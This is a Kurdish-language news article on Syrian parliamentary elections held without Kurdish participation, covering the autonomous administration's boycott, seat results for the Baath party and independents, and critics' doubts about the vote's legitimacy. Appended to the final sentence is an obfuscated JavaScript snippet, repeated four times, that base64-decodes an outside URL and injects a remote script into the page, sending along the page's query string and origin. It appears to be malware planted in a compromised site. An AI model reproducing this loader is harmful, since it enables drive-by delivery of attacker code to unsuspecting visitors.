ل سووریێ بێی کوردان هه‌لبژارتنێن پەرلەمانی هاتنە کرن
پشتی چەندین سالان ژ شەڕ و ئالۆزیێن ل سووریێ، حەفتیا بۆری هەلبژارتنێن پەرلەمانی ل وی وەلاتی هاتنە کرن، لێ ژ بەر کو چو رێککەفتن د ناڤبەرا رێڤەبەریا خوەسەر و شامێ دا ل دۆر هەلبژارتنان نەهاتنە کرن وێ رێڤەبەریێ رێ نەدا ل دەڤەرێن ل ژێر کۆنترۆلا وان دا هەلبژارتن بهێنە کرن.
ل سووریێ پشتی ده‌ستپێکرنا ئالۆزیان و شه‌رێ ناڤخوەیی ژ سالا 2011 ڤه هه‌لبژارتنێن پەرلەمانی ل وی وەلاتی د رەوشەکا نەئاسایی دا هاتنه ئه‌نجامدان، ژ 19 ملیۆن ده‌نگده‌ران ب تنێ حه‌فت ملیۆن وه‌لاتیێن سووریێ چوونه سه‌ر سندۆقێن ده‌نگدانێ و ژ بۆ دیار کرنا 250 کورسیێن پەرلەمانی پشکداری د هەلبژارتنان دا کرن.
ل دووڤ ئه‌نجامێن هه‌لبژارتنێن په‌رله‌مانێ پارتا بەعس یا به‌شار ئه‌سەد و هه‌ڤپه‌یمانیا پارتێن سووریێ 185 کورسیێن پەرلەمانی بدەستڤە ئینان، ئانکۆ ل دووڤ هه‌لبژارتنێن به‌رێ نها هه‌شت کورسیێن خوه زێده کرینه. هەروەسا 65 به‌ربژارێن سه‌ربخوه ژی هاتنه هه‌لبژارتن و بوونه ئه‌ندامێن نوو یێن په‌رله‌مانێ سووریێ.
بهری لبژارتنان د ناڤبه‌را بەرپرسێن حوکمه‌تا سووریێ و رێڤه‌به‌ریا خوه‌سه‌ر دا هه‌ڤدیتن هاتنە ئه‌نجامدان لێ ل سه‌ر پشکداریا رۆژئاڤایێ کوردستانێ نەگەهشتنە چو رێککەفتنەکێ و کوردان هه‌لبژارتنێن په‌رله‌مانێ سووریێ بایکۆت کرن و ڕێڤه‌به‌ریا خوه‌سه‌ر نه‌هێلا سندۆقێن ده‌نگدانێ ل رۆژئاڤایێ کوردستانێ بهێنه دانان. هه‌روه‌سا ل ده‌ڤه‌رێن کو د بن کۆنترۆلا کۆمێن چه‌کدارێن ئیسلامی دانه ژی خه‌لک نه‌چوونە سه‌ر سندۆقێن ده‌نگدانێ.
بەرپرسەکێ رێڤەبەریا خوەسەر ژی بۆ دەزگەهێن راگەهاندنێ ل دۆر هەلبژارتنێن سووریێ دیار کر، هەلبژارتن تنێ بۆ خاپاندنا رایا گشتی ان کرن، چونکی رەوشا سووریێ یا ئالۆزە و نها ل سووریێ سێ دەستهەلاتێن جودا هەنە، یا ئێکێ شامە، یا دویێ ژی رێڤەبەریا خوەسەر و دەستهەلاتا سیێ ژی ئەو کۆمێن چەکدارن ئەوێن کو شیاینە ب پشتەڤانیا تورکیا پشکەک ژ ئاخا سووریێ بکەنە ژێر کۆنترۆلا خوە، هەلبژارتنێن پەرلەمانێ سووریێ د پشکەک ژ ئاخا سووریێ دا هاتنە کرن و رێژەیا پشکداریا وەلاتیان ژی گەلەک یا کێم بوو، د راستی دا هەلبژارتنێن هاتنە کرن چو رەواتیا خوە نینە.
هەمان بەرپرسی کو ناڤێ وی نەهاتیە ئاشکرا کرن ئەو یەک ژی دیار کریە، وان وەکو رێڤەبەریا خوەسەر هندەک داخوازی ژ شامێ هەبوون، لێ داخوازیێن وان ژ ئالیێ شامێ ڤە هاتن رەت رن و ژ بەر ڤێ یەکێ ژی وان رێ نەدا هەلبژارتن ل رۆژئاڤایێ کوردستانێ دا بهێنە کرن.
چاڤدێرێن سیاسی ژی دیار دکەن، هەلبژارتنێن ڤێجارێ تنێ بۆ بهێزکرنا پێگەهێ پارتا بەعس و بەشاری هاتنە کرن، بەشار ئەسەدی ئەڤ پەیامە دا جیهانێ کو هێشتا ژی ئەو سووریێ برێڤە دبەت و خەلک پشتەڤانیێ ل وی دکەن، لێ هەر کەس دزانیت هەلبژارتنێن هاتنە کرن ئازاد نەبوون و پرانیا وەلاتێن جیهانێ ژی گەلەک تێبینی ل سەر شێوەیێ هەلبژارتنان هەبوون.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
